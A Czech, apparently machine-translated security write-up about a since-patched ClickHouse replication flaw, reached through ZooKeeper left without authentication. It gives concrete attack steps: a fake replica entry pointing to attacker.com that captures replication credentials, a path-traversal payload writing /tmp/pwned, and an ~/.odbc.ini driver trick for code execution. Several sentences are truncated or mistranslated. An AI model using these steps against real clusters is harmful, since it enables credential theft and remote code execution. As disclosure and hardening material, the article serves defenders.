Tento článek bude vyprávět příběh o velmi specifické zranitelnosti v replikačním protokolu ClickHouse a také ukáže, jak lze rozšířit útočnou plochu.
ClickHouse je databáze pro ukládání velkých objemů dat, nejčastěji využívající více než jednu repliku. Clustering a replikace v ClickHouse jsou postaveny na vrcholu
Výchozí instalace ZK nevyžaduje ověření, takže tisíce serverů ZK používaných ke konfiguraci Kafka, Hadoop, ClickHouse jsou veřejně dostupné.
Chcete-li snížit plochu útoku, měli byste při instalaci ZooKeeper vždy nakonfigurovat ověřování a autorizaci
Samozřejmě existuje několik deserializací Java založených na 0 dnech, ale představte si, že by útočník mohl číst a zapisovat do ZooKeeper, používaného pro replikaci ClickHouse.
Při konfiguraci v režimu clusteru podporuje ClickHouse distribuované dotazy /clickhouse/task_queue/ddl
.
Například vytvoříte uzel /clickhouse/task_queue/ddl/query-0001
s obsahem:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
a poté bude testovací tabulka odstraněna na clusterových serverech host1 a host2. DDL také podporuje spouštění dotazů CREATE/ALTER/DROP.
Zní to děsivě? Ale kde může útočník získat adresy serverů?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
uzly budou vytvořeny sloupce и metadat.
Obsah /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Je možné sloučit data z tohoto clusteru? Ano, pokud replikační port (TCP/9009
) na serveru chXX-address
brána firewall nebude uzavřena a autentizace pro replikaci nebude nakonfigurována. Jak obejít ověřování?
Útočník může vytvořit novou repliku v ZK pouhým zkopírováním obsahu /clickhouse/tables/01-01/foobar/replicas/chXX
a měnit význam host
.
Obsah /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Poté musíte ostatním replikám sdělit, že na útočníkově serveru je nový blok dat, který potřebují vzít – v ZK se vytvoří uzel /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX monotónně rostoucí počítadlo, které by mělo být větší než poslední v protokolu událostí):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
kde zdrojová_replika — název repliky útočníka vytvořené v předchozím kroku, block_id — identifikátor bloku dat, získat - příkaz "získat blok" (a
Dále každá replika přečte novou událost v protokolu a přejde na server ovládaný útočníkem, aby přijal blok dat (replikační protokol je binární a běží nad HTTP). Server attacker.com
obdrží žádosti:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
kde XXX jsou ověřovací data pro replikaci. V některých případech se může jednat o účet s přístupem do databáze přes hlavní protokol ClickHouse a protokol HTTP. Jak jste viděli, útočná plocha je kriticky velká, protože ZooKeeper, používaný pro replikaci, zůstal bez nakonfigurované autentizace.
Podívejme se na funkci získání bloku dat z repliky, je napsáno s plnou důvěrou, že všechny repliky jsou pod řádnou kontrolou a panuje mezi nimi důvěra.
kód pro zpracování replikace
Funkce načte seznam souborů, poté jejich názvy, velikosti, obsah a poté je zapíše do systému souborů. Stojí za to samostatně popsat, jak jsou data uložena v systému souborů.
Existuje několik podadresářů /var/lib/clickhouse
(výchozí adresář úložiště z konfiguračního souboru):
Vlajky - adresář pro nahrávání
tmp — adresář pro ukládání dočasných souborů;
user_files — operace se soubory v požadavcích jsou omezeny na tento adresář (INTO OUTFILE a další);
metadat — sql soubory s popisy tabulek;
preprocessed_configs - zpracované odvozené konfigurační soubory z /etc/clickhouse-server
;
datum - vlastní adresář se samotnými daty, v tomto případě se zde pro každou databázi jednoduše vytvoří samostatný podadresář (např. /var/lib/clickhouse/data/default
).
Pro každou tabulku v adresáři databází je vytvořen podadresář. Každý sloupec je samostatný soubor v závislosti na
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Replika očekává, že při zpracování bloku dat obdrží soubory se stejnými názvy, a žádným způsobem je neověřuje.
Pozorný čtenář již pravděpodobně slyšel o nebezpečném zřetězení file_name ve funkci WriteBufferFromFile
. Ano, toto umožňuje útočníkovi zapisovat libovolný obsah do libovolného souboru na FS s uživatelskými právy clickhouse
. K tomu musí replika ovládaná útočníkem vrátit na požadavek následující odpověď (pro snazší pochopení byly přidány konce řádků):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
a po zřetězení ../../../../../../../../../tmp/pwned
soubor bude zapsán /tmp/pwned s obsahem ahoj ze zookeeperu.
Existuje několik možností, jak přeměnit schopnost zápisu souborů na vzdálené spouštění kódu (RCE).
Externí slovníky v RCE
Ve starších verzích byl adresář s nastavením ClickHouse uložen s uživatelskými právy clickhouse výchozí. Soubory nastavení jsou soubory XML, které služba čte při spuštění a poté je ukládá do mezipaměti /var/lib/clickhouse/preprocessed_configs
. Když dojde ke změnám, jsou znovu přečteny. Pokud máte přístup k /etc/clickhouse-server
útočník si může vytvořit vlastní root
.
ODBC na RCE
Při instalaci balíčku je vytvořen uživatel clickhouse
, ale jeho domovský adresář není vytvořen /nonexistent
. Při použití externích slovníků nebo z jiných důvodů však administrátoři vytvoří adresář /nonexistent
a dát uživateli clickhouse
přístup k zápisu do něj (SSZB! Cca. překladatel).
ClickHouse podporuje odbc-bridge
, takže z požadavku již není možné specifikovat cestu ovladače. Může však útočník zapisovat do domovského adresáře pomocí výše popsané chyby zabezpečení?
Vytvoříme soubor ~/.odbc.ini
s obsahem jako je tento:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
pak při spuštění SELECT * FROM odbc('DSN=lalala', 'test', 'test');
knihovna se načte test.so
a obdrželi RCE (díky
Tyto a další chyby zabezpečení byly opraveny ve verzi ClickHouse 19.14.3. Postarejte se o své ClickHouse a ZooKeepers!
Zdroj: www.habr.com